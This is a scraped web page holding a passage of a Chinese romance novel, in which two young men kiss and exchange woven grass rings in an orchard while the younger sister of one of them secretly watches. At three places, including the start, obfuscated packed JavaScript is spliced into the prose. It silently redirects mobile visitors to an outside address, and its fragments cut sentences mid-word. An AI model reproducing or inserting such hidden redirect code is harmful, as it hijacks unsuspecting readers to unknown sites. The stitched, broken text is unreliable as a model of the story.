;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15691017|173344||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 来了!我好想你!” 说着,她搂着楚州行的脖颈嗅来嗅去,嘴里叭叭问:“哥,吃的呢?你说给我带好吃的呢!” 楚州行被她烦得不行,笑着骂:“别蹬了,就知道要吃的,是妈饿到你了,不给你饭吃?” “哪有——哥,你最好了!”她嘴里嘟嘟囔囔,转过头时,纪敏嘉看清了她的脸,她长得十分秀丽,肤色白皙、杏儿眼,樱桃小嘴,眼瞳水灵灵,看起来格外灵动。 与楚州行有三分像。 她也看到了纪敏嘉,脸一红,手一松就要从楚州行身上滑下来,楚州行先一步,将她往前面一抛,她被抛出去也不害怕,就跳着稳稳落地。 “纪敏嘉。”楚州行向妹妹介绍,“喊人。” “哥哥好!”楚遥藏在楚州行身后,探出半个脑袋偷偷看纪敏嘉,“我叫楚遥。” 她穿了件黑色的空壳棉袄,笑得特别像一只油光水滑的大耗子。 “你可以叫他敏嘉哥哥。”楚州行从口袋里摸出一条巧克力,摇了摇。见到有好吃的,楚遥嘴巴特别甜,“敏嘉哥哥你好!欢迎你来我们这儿玩!”她眼睛一眨不眨地盯着巧克力。 楚州行将巧克力抛给她,楚遥个子不高却特别灵活,一跳,就将巧克力抓在手里。 她火急火燎剥开塞进嘴里,嚼了两口,苦得眉头紧皱,瘪着嘴,可怜巴巴地看楚州行,“哥——苦”。 楚州行不想搭理她,“黑巧都很苦。” 楚遥又看向纪敏嘉,模样更可怜了,两只手合拢,拜了拜。 她可聪明了,看得出自己老哥很重视纪敏嘉,为了获得更多的好吃的,她有意讨好纪敏嘉,卖可怜。 纪敏嘉受不了她巴巴的眼神,想到自己口袋还有个巧克力,递给楚遥。 可能是两人还不太熟悉,楚遥矜持了一把,嘿嘿一笑,伸出手要拿。“谢谢——” 下一秒,楚州行直接截胡。 “别给她吃太多糖,吃饱了没胃口吃晚饭。”他将巧克力捏在手里,无视了楚遥凄惨地嚎叫,看向纪敏嘉,“你渴不渴?” 纪敏嘉摇了摇头。 旁边的楚遥不干了,伸长脖子哭嚎,她知道自己老哥“铁石心肠”,只朝着纪敏嘉撒泼,“哥哥哥哥,给我吃一口,呜呜呜,我好想吃,我还没吃过这种巧克力,看起来好好吃,我要吃——”说着,就躺到地上打滚,耗子一样扭来扭去。 纪敏嘉哪见过这种架势,手足无措。楚州行受不了她,掰了一块塞到她嘴里,“丢不丢人?” “谢谢敏嘉哥哥!”楚遥一口将巧克力包进嘴里,明明给她巧克力的是楚州行,但她嫌楚州行小气,只对纪敏嘉摇尾巴,“我给哥哥倒水!” 说着,叼着巧克力就跑开了,像极了觅到食物就回巢的耗子。 纪敏嘉看着她的背影,“我妹妹太皮了,你别跟她客气,她就喜欢蹬鼻子上脸”。楚州行语气无奈,眼神却带着笑,纪敏嘉能感觉出他语气里的宠溺,他也笑,“很可爱啊。” “哦?”听他这么说,楚州行忍不住靠近他,手指还残留着被体温融化的巧克力渍,他故意放缓声调,以一种暧昧的姿势,当着纪敏嘉的面,一点点舔手指。 从纪敏嘉的角度,能清楚看到楚州行的湿漉红润的舌。 他掀起眼皮轻睨纪敏嘉,纤长的睫毛打下一点阴影。是故意勾引。 纪敏嘉看得心跳加速。 耳边传来楚州行的笑腔,“有我可爱吗,敏嘉哥哥?” 纪敏嘉耳朵一下全红了。 15. 兜风 如果楚州行深爱一个人,他会尽情释放自己的魅力,孔雀求偶般,将对方的身心牢牢掌控。 纪敏嘉对上他幽深的目光,心跳如擂鼓,情难自已。 “楚哥——”他想说些什么,言语太无力,他解释不清心中的深爱,手就被楚州行握住了。 楚州行的手很温暖,手骨修长,可以包拢他的手背。纪敏嘉手指动了动,楚州行温柔强势地将他的手指分开,完完全全裹住,十指紧紧相扣。 “带你出去逛逛?”他的声音太温柔,纪敏嘉目眩神迷,扯了扯楚州行的衣袖,楚州行疑惑低下头,他一仰面,就将唇贴了上去。 这几乎算不上一个吻。 他的唇很柔软,亲吻也很随意,比蜻蜓点水还要细微,触碰着楚州行的唇角,仅送来一点温度。 楚州行还没来得及感受。 纪敏嘉的眼神似水,靠得太近,睫毛又长又翘,像翕动翅膀的蝴蝶,柔软的触角轻轻一碰,又飘飘离去。 楚州行的心狂跳不止。 这应该是第一次,纪敏嘉主动在外面吻他。 楚州行情不自禁抓住纪敏嘉的肩膀,半强迫半诱导地继续这个吻。 他细致品味纪敏嘉的唇中令他陶醉的气息,把其它的一切都忘掉了,后院围了几棵枝繁叶茂的高树,叶缝间刮出凉嗖嗖的风,一波波浪潮般“沙沙”晃着。 纪敏嘉微微睁大眼睛,脸皮透着红。 这次他没躲,乖顺地,任由楚州行将手搭在他的肩膀上。 楚州行的手慢慢游走,他捏着纪敏嘉的肩头,一点点地往下揉捏着。 纪敏嘉身形单薄,皮.肉韧韧贴了一层,握起来有点硌手。 ‘太瘦了。’楚州行无限爱怜,动作不觉地放轻,吻也变得缱绻,甚至放纪敏嘉喘了口气,他的手指顺着纪敏嘉的肩头,一直捏到小臂。 他的手停在纪敏嘉后腰处。 纪敏嘉瘦归瘦,该有肉的地方也饱满弹性,可能是平时运动量大,后腰处隐隐绷紧,摸上去出乎意料地韧。 楚州行爱极了他的身体,纪敏嘉全身上下,连头发丝都长在审美上。 他掐着纪敏嘉腰间的软肉。 恰如他所预料,纪敏嘉一下绷紧身体。 手掌上滑,楚州行托住纪敏嘉的脊骨。 对上纪敏嘉的眼,楚州行的神情太具有迷惑性,似在疑惑纪敏嘉为何如此敏感。 纪敏嘉眨眨眼,愧疚地收回视线。 楚州行得寸进尺,手臂用力,搂得很紧。 风从纪敏嘉脸上拂过,明明害羞到极点,依然抬着眸,眼珠子湿润润的,特别纯真,认真与楚州行对视。 整张面孔水洗般清澈动人。 这刹,楚州行再也忍不了,他捧住纪敏嘉的脸,强行侵.占柔软湿润的口腔,纪敏嘉整张面孔的热度又升高一大截,他紧张地牙齿磕碰,“楚、楚——” “别说话——”楚州行诱惑,“乖一点。” 纪敏嘉被他迷得神魂颠倒,爱意蓄满他的胸膛,连续缠绵的亲吻,每一下,纪敏嘉都能清晰感知楚州行的嘴唇温度。 楚州行的动作介于礼貌与狎昵之间。 纪敏嘉被吻得心痒,脑中空白,眼睛里盛满了楚州行。 最后一下,楚州行亲了亲纪敏嘉的鼻尖。 两人分开时,手心全是汗。 “亲了这么多次,你怎么还如此生疏?”楚州行帮他整理凌乱的发,他说这话,温热气息就洒在纪敏嘉耳边。 楚州行又说:“还是要练。”他舔了舔唇,“可以找我勤加练习。” 他还想再亲一下。 突然。 “哥——我杯子洗好了!热水也倒好了!” 楚遥洗干净杯子,又给纪敏嘉倒了杯热水。她急急匆匆找过来,见他们还在后院说悄悄话,隔了老远就喊起来。 楚州行看过去,楚遥已经冲到两人面前,叽叽喳喳,“我给敏嘉哥哥倒了杯菊花茶,野菊花是我采的,也是我晒干的,我一朵一朵挑,都是最好的花。” 说着,她叉着腰特别得意地翘着鼻子。 楚州行不搭话,只问她,“家里的自行车还能骑吗?我要带敏嘉出去逛逛。” 楚遥被他岔开话题,忘记炫耀自己有多能干,她忙带路,“能骑,我去镇里都是骑你的自行车。” 自行车有了年头,车把都生了锈,却被楚遥擦得干干净净。 楚州行走过去,问:“有没有头盔?” 楚遥看傻子的表情,“骑自行车还要戴头盔?速度能多快,你能骑飞起来?” 楚州行被她一呛,威胁般竖起拳头。 楚遥当即怪叫,躲到车后,“他急了!”说着,朝纪敏嘉告状,比比划划,“敏嘉哥哥你可要小心点,以前我哥载我,把我摔到沟里,他还说是我乱扭,明明是他技术太差。” “你不说话没人把你当哑巴。” “哇,你每次都这样,说到你的糗事就让我闭嘴,我偏不!我六岁,他载着我去买菜,下雨天地滑,我让他慢点,他站起来蹬!摔得狗吃屎磕掉我的两颗乳牙!他自己把脸摔肿了,几天不敢出门。” “楚遥!” ...... 他们两兄妹吵吵闹闹,站一边的纪敏嘉看乐了。 楚州行懒得跟她拌嘴,推着车出了门。他试了试手感,就让纪敏嘉上车。他们两骑出去一段路,楚遥还在门口看,直到他们消失在视野里,她才朝相反的方向跑去。 风呼呼刮着,午后的阳光很温暖,楚州行骑得不算快。 一路他都在介绍。 谁家种了橘子树,哪段路是哪些人出钱修的。谁家儿子出去打工,回来就修了房子。 纪敏嘉默默抓着车杠,闻着风中的花香,安静地听这些家长里短。骑过一段石砖路,年久失修,砖石坑坑洼洼,路面变得颠簸,楚州行的声音随风声而来,提醒:“抓紧了。” 下一秒,楚州行就带着他向下俯冲。 “啊——” 纪敏嘉紧紧搂住楚州行的腰。 楚州行的肩背很薄,肌肉线条十分漂亮,用力蹬车时肩胛骨凸起,像振翅欲飞的蝴蝶,他的背又很温暖。 纪敏嘉将脸贴在他背上,闻着楚州行身上的洗衣粉味,淡淡的。 他忍不住用脸蹭了蹭。 楚州行被他蹭得发痒,只觉自己拉了只小胖狗。这小狗又乖又不老实,总用最纯情的动作撩拨他。 风把楚州行的头发吹得乱糟糟,他心情很愉悦。目视前方,一路加速,他如同战无不胜的将军,身后是自己的战利品,他带着珍贵的宝物,驰骋在他熟悉的故土上。 又一段弯道。 楚州行利落地刹、拐、冲刺。 纪敏嘉受惯性整个人向前撞,吓得他更用力地抱紧楚州行,而楚州行被他搂得神清气爽,哈哈笑起来。 等路途平缓,纪敏嘉抬起脸,才惊喜地发现,风将道路两侧荒地上的蒲公英吹动了。无数纯白的蒲公英种子随风飞舞,仿若纷纷扬扬的雪花。 “楚哥——” 楚州行也看到了,他蹬直腿,伸出右手用力一够,什么都没抓到, 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楚州行接过橘子剥开,“他是我帝都的朋友,嘉嘉,来我们这旅游的。我家也没啥好玩的,就领他过来看看。”他看向纪敏嘉,“叫她李姨。” 纪敏嘉乖乖叫人。 听说是帝都来的,李姨稀罕得不行,一定要塞几个橘子给纪敏嘉。 “你在外面发大财了,都说帝都工资是我们这几倍呢。” “哪有,混口饭吃。”楚州行三下两下吃了一整个橘子,又问李姨,“姨,装橘子的篓子给我个。” 李姨朝角落一抬下巴,“那呢,你自己拿。” “我妈在里面?” “她今儿在东面剪枝,咱们这今天不出工。” 楚州行拿了个竹篓,跟她道别,“姨,我们先走了”。 “你们小心点,前几天下了暴雨,路上烂泥陷脚。” “好,李姨拜拜。” 纪敏嘉跟在楚州行身后向前摸索,橘子园没什么规划,新老果树都零零碎碎种着,有的树半人高,光秃秃一根杆,有的树枝繁叶茂,挡下一大片绿荫。 可能是下过雨,空气中散不尽的腐殖味。 顺着人踩出来的道路,一直向前。 走了十多分钟,穿过一片密集的果林,终于找到了一块流水潺潺的空地。 为了浇水方便,果园的工人们从山上引了一条小溪下来,这条溪流蜿蜿蜒蜒穿过半片林地,沿路冲刷出一道浅浅的河滩。 水非常清澈,滋养出许多颜色各异的野花。 楚州行找了块平坦的草地,将篓子里垫着的藏青色棉布拿出来,展开,铺在草皮上。 “坐一坐。”他留了位置给纪敏嘉。 纪敏嘉坐下的瞬间,楚州行身侧的温度都上升了。他靠着楚州行的肩膀,依赖地磨蹭着,楚州行伸手将他揽到怀里,他也伸手环抱住楚州行的腰。 秋日的午后,阳光不冷不热,照在头顶,令人昏昏欲睡。 楚州行打了个哈欠,两人都没聊天,纪敏嘉在他怀里闭着眼睛,楚州行居高临下地俯视着,他的睡颜十分柔软,呼吸一起一伏,看起来毫无威胁。 风吹动碎发,金色的阳光洒在他的眉毛睫毛上,暖洋洋的,一看就知道明天是个好天气。 楚州行也困了,他带着纪敏嘉躺倒在草地上。 他觉得,如果时间停滞,就这样睡下去也不错。 爱的人就在身边,没什么好担心的。 16. 戒指 也不知睡了多久,楚州行是被冷醒的。 秋天的阳光就这样任性,刚才还热量充足,照得脸颊燥热,现在凉风一吹又冷得人打哆嗦。 楚州行一动,纪敏嘉就睁开眼。 他这一觉睡得很舒服,懒洋洋枕着楚州行的小臂不愿意起来,楚州行亲了亲他的唇,他猫一样眯了眯眼。 “躺这么久,骨头都僵了,起来吧。”楚州行去拉他的胳膊,一把将他拔起来。 看手机,也就睡了一个多小时。 楚州行转了转手腕活动手脚。见小溪旁有碎石,他突然起了兴致,挑挑选选,找了几块薄片,朝着水面比划了几下。 他找准角度。 嗖。 只听破空响,石片一点接一点飞掠水面,向前跳跃,所到之处擦着一波泛一波的涟漪。一连砸了十二个圈才失了力,受惯性落进水里。 纪敏嘉站在身后看他打水漂,佩服得五体投地,眼冒星星,崇拜地望着楚州行,“好棒。” 楚州行被他夸得不好意思,也有点得意,“很简单,你要玩吗?我教你。”每个陷入热恋的男人都无法拒绝在心爱人面前展示的机会。 他将剩下的石片给纪敏嘉,指导他。 纪敏嘉从未玩过这种游戏,试了两块都是闷沉沉砸进水里,他有点泄气,垂头丧气又眼巴巴地看向楚州行。 太可爱了,楚州行无法拒绝。 他走到纪敏嘉身后,握住他的右手,抬高。“放松,眼睛看向前方,出手力度要平稳。” 纪敏嘉认真听。 他整个人被楚州行环住,声音就落在他的耳边,那双浅薄的唇吐出让人心安的话,纪敏嘉心跳越来越快。 靠得太近,楚州行感受到他杂乱的心跳声。 他握紧纪敏嘉的手,安抚般用指腹摩挲他的手骨,纪敏嘉脸颊有点红,目光却平静下来。 “抬手。” “就现在,丢!” 石片飞出去的那瞬,两道视线紧紧追随着,它很争气地一跃一跳,连砸了六七道涟漪才堪堪沉落。 “楚哥,我成功了。”纪敏嘉兴奋地抱楚州行,“你好厉害。”他仰着脸看,眼睛藏着闪闪的光芒,非常动人。 楚州行拍了拍他的屁.股,“玩去吧。”说着,清了清嗓子,转过身去整理地上的棉布。 他把平铺的棉布折好、用手抹平,借此来平复内心的情绪。 纪敏嘉想要的很少,一些不足道的微末技巧也能让他开心很久。楚州行回想两人相伴相处的几年时光,纪敏嘉从未扫兴,也从没嫌弃过他。 作为更年长的男友,他理应承担家庭的重担,可他没能给纪敏嘉提供良好的条件,也没有给他舒适的生活。 他们是如此困难地生存着。 可,纪敏嘉又是如此的钟情。 他们的生活对于纪敏嘉并不是苦中作乐,只要在楚州行身边,他就觉得幸福。下雨,他们的家漏雨了,纪敏嘉也不抱怨,找了盆子接雨,打着伞问楚州行自己像不像蘑菇。 楚州行想起他的笑脸,就觉得愧疚。 他是纯粹的,爱着楚州行这个人。 而楚州行上辈子辜负了这份真挚的爱。 “楚哥——”纪敏嘉的声音打断了他的思绪,楚州行一抬头,就看到他洋溢的笑容,“你还记不记得以前西郊公园,你教我的?” 楚州行一下子就想到了,但他不说话,就安静地望着面前的纪敏嘉。 “看!” 他展示手里的草戒指——他用狗尾巴草茎制作的、小巧可爱的草编戒指。“送给你。”说着,他等待着楚州行伸出手。 楚州行也没扫兴,他站起来,慢慢伸出左手。 纪敏嘉的神情有点严肃,他很认真地牵着楚州行的手,楚州行的手指修长,很瘦,他的皮肤又很透,隐隐能看到青色的血管。 草戒指先戴在楚州行的食指上,小了,卡在第一节关节处。纪敏嘉跳过中指,将它戴向无名指。 草戒指很轻,摸起来毛茸茸的。 感受着无名指上的重量,楚州行知道,这辈子是被他套住了。 他抬起手欣赏,戒指不大不小,尺寸很合适,刚刚好套牢。 楚州行的眼眶有点湿润,一年前,他给纪敏嘉编了个戒指玩具,一年后,纪敏嘉用他教导的方法,送了他一枚。 “这是个圈套。”他说。 纪敏嘉听不懂。可能对于他,这枚戒指只是个玩具并没有什么特殊含义。他临时起兴,编了送给楚州行玩。 可对于楚州行,这枚戒指他想要太久,跨越数十载的时光,终于戴到他的无名指上。 金色的阳光穿透橘子树叶,他们站在树林中,风吹得很温柔,楚州行拉着纪敏嘉的手,后退了几步,藏在一棵树后,他抱着纪敏嘉,与他接吻。 树叶被风吹动,沙沙响,有一滴露珠被吹了下来,恰好滴在楚州行的眼皮上。 他不管不顾与纪敏嘉接吻。 清凉的风,灼热的呼吸,清澈的阳光,纪敏嘉只觉整个世界都在他们眼前闪亮。 这吻,是一次意外,却没人叫停。 咚。 不远处似乎传来声响,有什么东西滚落了,他们没有在意,专心地交换气味。 十步距离外有个斜坡,平时用来堆放修理下来的枯枝烂叶。 楚遥浑身打哆嗦,她满头满脸都是草屑,艰难从草坑中爬出来,按着摔伤的膝盖,一爬一踉跄,努力藏到更深处。 天! 她不敢相信自己的眼睛。 老哥居然和敏嘉哥哥在接吻! 她捂住嘴,内心在咆哮:‘他们在亲!抱着亲!啊啊啊啊啊!’ 错觉吧?纪敏嘉是个男的,老哥也是个男的,两个男的怎么在接吻?!男的也能亲男的? 楚遥百爪挠心,恨不得爬出去多看两眼。 难道敏嘉哥哥是个短发女生?还是老哥其实是老姐? 楚遥越想越神奇,她呆呆坐了会,又啪啪给了自己两耳光。 让你嘴馋! 想到刚才姚莉的嘱托,楚遥悔得肠子都青了。 呜呜,她只是想吃柠檬鸡爪,为什么要让她看到老哥的秘密!会不会被老哥灭口? 楚遥抱着膝盖瑟瑟发抖。 与楚州行分开后,她就去找亲妈姚莉。 去之前,她还美滋滋地想着:既然家里 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15691019|173344||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 来了客人,那一定要好好招待。 妈妈一定会给钱让她去镇上买新鲜的肉菜,只要她再撒撒娇,妈妈多给点钱,她就能买心心念念的柠檬鸡爪。 为了一口吃的,楚遥一鼓作气跑了两里路,找到姚莉时,她整个人像从水里捞出来的。 气还没喘匀,就大声嚷嚷:“妈!哥回来了!还带了一个朋友!男朋友!” 姚莉被她一震,先高兴,又很无语,“回来了?你别跑那么快,小心摔倒......是,男性朋友。” “差不多嘛——”楚遥火急火燎,“妈,你快给我钱,我去买点好菜招待他们,家里肉都吃完了!” 姚莉把手里的工具放好,等楚遥喘息平稳点,才问:“朋友是不是叫纪敏嘉?” “对!”楚遥狂点头。 姚莉心里有数了,之前楚州行打过电话,说要把自己的室友带回来逛逛,平日她也经常给楚州行寄东西,大致了解纪敏嘉的口味。 嘱咐:“你买条新鲜的鱼,买一斤虾,再买点冷菜。”她想了想又不太放心,“虾你要挑一挑,死的不能要,就去上次妈带你去的那家摊子,他家秤准。没有虾就买点其它海鲜。” “我们镇上哪有卖海鲜的!”楚遥不乐意了,她觉得自己老妈是强人所难。 “那你就多跑跑,那儿还有个批发市场,你要是找遍了都没有,就买点牛肉牛杂回来。人家好不容易来一次,肯定要好好招待的。” 楚遥摊着手等钱,姚莉这次很大方,给了整整五百,这是家里大半个月的伙食费了。 楚遥抓着钱要跑,姚莉看了看天色,把自己的遮阳帽戴在她头上,“时间来得及,你路上小心点,别骑太快。” 从家到镇上,骑自行车要一个多小时。 楚遥没耽搁,她一路打听,知道老哥在果园里,就冲了进去。 她要拿自行车钥匙! 家里就两辆车,姚莉的车要用来载锄头铁锹,肯定是不能让给她的。 楚遥想得很美,见到老哥一定要卖弄一番,自己可要骑一两个小时去帮他们买菜,老哥至少也要把剩下的巧克力给自己吧! 想到这,楚遥又给了自己一巴掌。 算算时间,距离她滚下来应该有十分钟了,两人亲也该亲完了。 她鬼鬼祟祟趴着,慢慢探出头,朝着两人的方向—— !!! 有没有搞错?!还在亲!他们是有什么特殊癖好吗!也不怕缺氧啊! 纪敏嘉手搭在楚州行肩上,而楚州行搂着纪敏嘉的腰。 顺着光,两人的面孔有些模糊,像一卷徐徐展开的水墨画,眼睫纤黑,而肤色极透,光影交错,美得很温情。 楚遥看得牙酸,她实在等不了,这种偷窥的事让她倍感煎熬,看着受伤的腿,她狠了狠心。 ...... 摸索着爬出果园,楚遥一不做二不休,直接把车锁给撬了! 不顾李姨的挽留,她拖着受伤的腿,跨上自行车,飞速地逃离。 顶着风,楚遥痛得直嗷嗷,但她一点都没放慢速度。 此刻,她很像顺了东西被主人追赶的小偷。 满脑子只有“逃”! 17. 纯真 果园里。 纪敏嘉很认真地摘橘子,一个个黄澄澄的橘子被他小心地码进竹篓里。少年身形清瘦柔韧,上举双臂,露出一截白皙的腰。 楚州行视线流连在纪敏嘉身上,好一会儿才移开,他挑了最甜最好的橘子剥给纪敏嘉吃。 今年雨水偏多,橘子日照不足,口感偏酸。 楚州行挑挑拣拣,也就摘了五六个。 吃了两个,纪敏嘉就不好意思了,他犹犹豫豫看了看竹篓里的橘子,又将视线转向楚州行。 “楚哥,咱们又吃又拿,是不是不太好?” 楚州行闻言挑了挑眉,“你不会觉得这些橘子都是给我们自己摘的吧?” 纪敏嘉没说话,但他的眼神说明了一切。 楚州行“勃然大怒”,冷不防地攥着他的胳膊,直接将他拉到身边。纪敏嘉撞了下他的胸膛,两人就贴在一起。 抬头看楚州行,楚州行目光炯炯,神态故作严肃,纪敏嘉不怕他,小狗狗一样搂住他的脖子。 “在你心中,我是那种连吃带拿的人吗?”楚州行捏了捏他的脸,“我好难过。”嘴上伤心,脸上却一直带着笑意。 纪敏嘉一直蹭楚州行的脖子。他的动作很轻,发丝又很软,楚州行像抱了块沉甸甸软绵绵的毛毯。 纪敏嘉讨好楚州行的方法很少,可楚州行就吃这套。 “楚哥——”他的声音也是软软的。 “好了。”楚州行清了清嗓子,有点燥热,“天天粘着我,都要长在我身上了。”他稍微推开点纪敏嘉,让自己透透气。 解释道:“这篓橘子是给果园摘的。咱们进来又逛又吃,也要帮忙干点活。虽说橘子不值钱,乡里乡亲,李姨也不好意思要咱们的钱,可咱们心里也要有点数。” 园里的帮工吃个几个橘子没人会说。 纪敏嘉明白了,“那我再去拿一个竹篓?” “一篓子装满了至少四十斤,你背得动?”楚州行无语,“一篓就够了,我们又不是来打黑工的。” 纪敏嘉不服气,“楚哥,你太小瞧我了,我怎么背不动?” 楚州行乐了,现在篓子也没装满,索性让他试试。“你蹲下。”楚州行指导纪敏嘉蹲坐着,让他背上竹篓,慢慢站起来。 篓子大概二十斤,纪敏嘉背得轻轻松松,他故意从楚州行面前走了两圈,昂着脑袋,等待夸奖,“我可以。” 楚州行想笑又不能笑,“那咱们装满,你再试试。” “好啊。” 也许是有了目标,纪敏嘉摘果子的速度变快了,摘完一棵树又去摘隔壁的。 这棵果树并不高,枝叶也干巴巴的,有点营养不良的样子。纪敏嘉刚摘第一颗就“咦”了声。 这果子摸起来手感不太一样,沉甸甸的,很结实。 楚州行看了眼,“这是橙子。” “!!!” 纪敏嘉一脸吃惊,“这么小?” 这橙子和橘子差不多大小,平日里他们吃的橙子有这两倍大。 楚州行不觉得奇怪,“这应该是果园的实验种,咱们这算高海拔,气温偏低,橘子更耐寒,橙子长太大,霜一降就都冻死了。” 他接过橙子仔细看了看,“这是枳壳,用它可以嫁接甜橙,可能老板一开始打算用它做砧木,可惜咱们这气候不适合甜橙生存,反倒让它活了下来。” 楚州行说的话里有专业名词,纪敏嘉不太懂,但不妨碍他崇拜楚州行。 “楚哥,你懂的好多。” 楚州行看着橙子树,“我们家种这个,我当然会了解一些。” 纪敏嘉又问:“这里更适宜种橘子,为什么还要种橙子?这么小应该不太好卖吧?” “橙子经济价值更高,仅从单价来看,一斤橙子可以买两三斤橘子,种橙子赚更多。” “我们买的橘子也不便宜,相差有这么大?” 楚州行叹了口气,“我们这里种的品种不好,只是普通蜜橘,也没打造出品牌,所以卖不上价,最便宜的时候,两毛钱一斤,你来开车来拖,你要多少卖多少。咱们在帝都买的是砂糖橘,口感比这个好,卖得也更贵。” 他蹲下,抓了把土,捻了捻,“这树也遭罪,开花期也不施肥。”他翻了翻叶片,“都是红蜘蛛咬的,喷药也是乱喷,都打出抗性了。” 纪敏嘉蹲在他身边,“还能救吗?我们给它施施肥?” “没办法救,从养根的步骤就错了,我估摸着他们也是乱种,能活算运气好,也不指望它来赚钱。” 纪敏嘉不理解,“不指望它赚钱,为什么还要种它?” 楚州行怔了怔,“我们这种橘子都是这样,不管是散户,还是承包大户,他们就以最原始的、代代相传的方法种植,丰歉全看天意,就算有专家来指导种植方法,他们也不会信的。” 他又说:“他们也想赚钱,但他们就指望着这些外来品种能自养自足,如果恰好能收获,果子又卖得上价,他们又会一窝蜂大量种植。” 楚州行不想再聊这些话题,现在的他还没有实力去改变周围人的想法。 何况,想法也不需要专门去纠正,只要有人用科学种植赚到大钱,他们自然会跟风。 “继续装吧。” 竹篓已经装了五分之四,剩下的,纪敏嘉一个人就能装完,楚州行就没上手。 他的目光投向不远处的野花。 ...... 很快,纪敏嘉就装了整整一篓。他四下搜寻楚州行的身影,“楚哥——”,就看见楚州行站在一棵树后,朝他招手。 他手里还抓着一束野花。 楚州行拿花的姿势很优雅,修长的手指握住花柄,垂在树后,只露出一截短短的花枝。 纪敏嘉看到了楚州行手中的花束,一瞬间,他的表情有了变化。 不受控制地向前跑了几步,也许是表现得太兴奋太迫不及待,他又故意放慢了步伐,装成一无所知的模样,脚步轻快地走到楚州行面前。 “你知道,我要给你什么。”楚州行顺势将花拿了出来。 花就在面前,纪敏嘉还是仰面望着他,说:“我不知道。” 声音很平稳,最后一个字咬得极轻,仿佛一片羽毛轻轻从楚州行心上拂过。 楚州行不由感慨,纪敏嘉的段位太高了。 也许他本人都不知道,这种行为叫做“勾引”。 他嗓子里痒痒的,像堵了一团快要烧起来棉花,爱与欲在他心中焚烧。 将花束递给纪敏嘉,楚州行看着他的眼睛,问:“我摘的野花,喜欢吗?” “很喜欢。”纪敏嘉郑重地接过,脸凑近花朵嗅花香。 “是两件礼物。” 纪敏嘉抬眸。 这一瞬,他的眼神像要落泪。 楚州行心脏空了一拍,他看着纪敏嘉小心翼翼地从花束中翻出一枚花朵戒指。 拿到戒指一瞬间,纪敏嘉抬头看向楚州行,他的眼睛湿漉漉的,很难形容他此刻的神态,很动人,也很让楚州行心动。 纪敏嘉没试其他手指,很自然就戴在左手无名指上。 很合 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15691020|173344||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 适,大小刚刚好。 颜色各异的野花被巧妙地镶嵌在草编中,像一个缩小版的花环。 他竖起手,向楚州行展示,“楚哥,你怎么知道我的尺寸?” 楚州行喉咙干干的,他欣赏着纪敏嘉脸上的表情。 面前的人是他的,一直属于他。 “你呢?” “这是个巧合。” “是吗?”楚州行淡淡地牵起他的左手,“我和你一样,这是个巧合。” 纪敏嘉不相信,但他不再问。 两人左手牵着左手,又换成右手牵左手,十指相扣,像在玩一场游戏。 很久,楚州行才说:“走吧。” 他主动去背那篓橘子,纪敏嘉争着要背,楚州行拒绝了。 他舍不得纪敏嘉吃苦头,这世上很多苦楚本就没有意义。 背篓的绳子太细,又是麻绳,磨得楚州行肩膀火辣辣地疼,这具身体太年轻,也未经农活历练。 楚州行躬着身,试着调整了下角度,将重心下移。 果然,肩膀上的重量减轻了。 他走在前面,走了几步,觉得有些不对劲,回头看,身后是用全力托举背篓的纪敏嘉。 察觉到楚州行在看他,他仰起脸,灿烂的微笑。 这刻,楚州行脑袋里空了一下。 这路楚州行走过很多遍,上辈子他转租了果园。 这条泥巴路,上辈子他修缮成平坦的水泥路,可楚州行背着沉重的背篓,一步一步,越走越沉,好像灵魂都要被压进土里。 感受着肩膀上的重量,楚州行心颤得厉害。 这辈子,他有纪敏嘉。 路再难走,也有人在他身后了。 . “哎呦,你们两摘了这么多!” 两人刚走到门口,李姨赶紧来帮忙,她手脚麻利地帮楚州行卸货,“这里都有四五十斤了,装这么满!你这孩子就是客气。” 楚州行擦了擦脸上的汗,“嗐,早知道这重量,我们就不采那么多,采都采了也不能丢掉,就干脆咬咬牙带回来了。” “你们喝水。”李姨把自己的茶缸给楚州行。 茶缸里泡着降血压的药草根,楚州行怕纪敏嘉不习惯这味道,只说:“咱们吃了一肚子的橘子,哪还渴?李姨,现在天色不早了,我们也不耽误你下班,就先走了。” 李姨看着满满的橘子,说什么也要拿个塑料袋给他们装一点,楚州行推了几次才婉拒成功。 出了门,一抬头就是漫天夕阳。 风把云吹得东一片西一片,霞光如瀑,将天幕都分割成两块,一块是沉寂幽深的大山,一块是璀璨明亮的云彩。 楚州行吹着晚风,闻着空气中秸秆燃烧的特殊气味,心情愉悦,“回家。” . “楚哥,我们的自行车没了?” 纪敏嘉急得团团转,他们的车就停在篱笆边,现在却只有浅浅的车轮痕迹。 这里也有小偷? 李姨刚好锁门出来,“刚才遥遥骑走了,我跟她打招呼也没理我,估计有什么急事。” 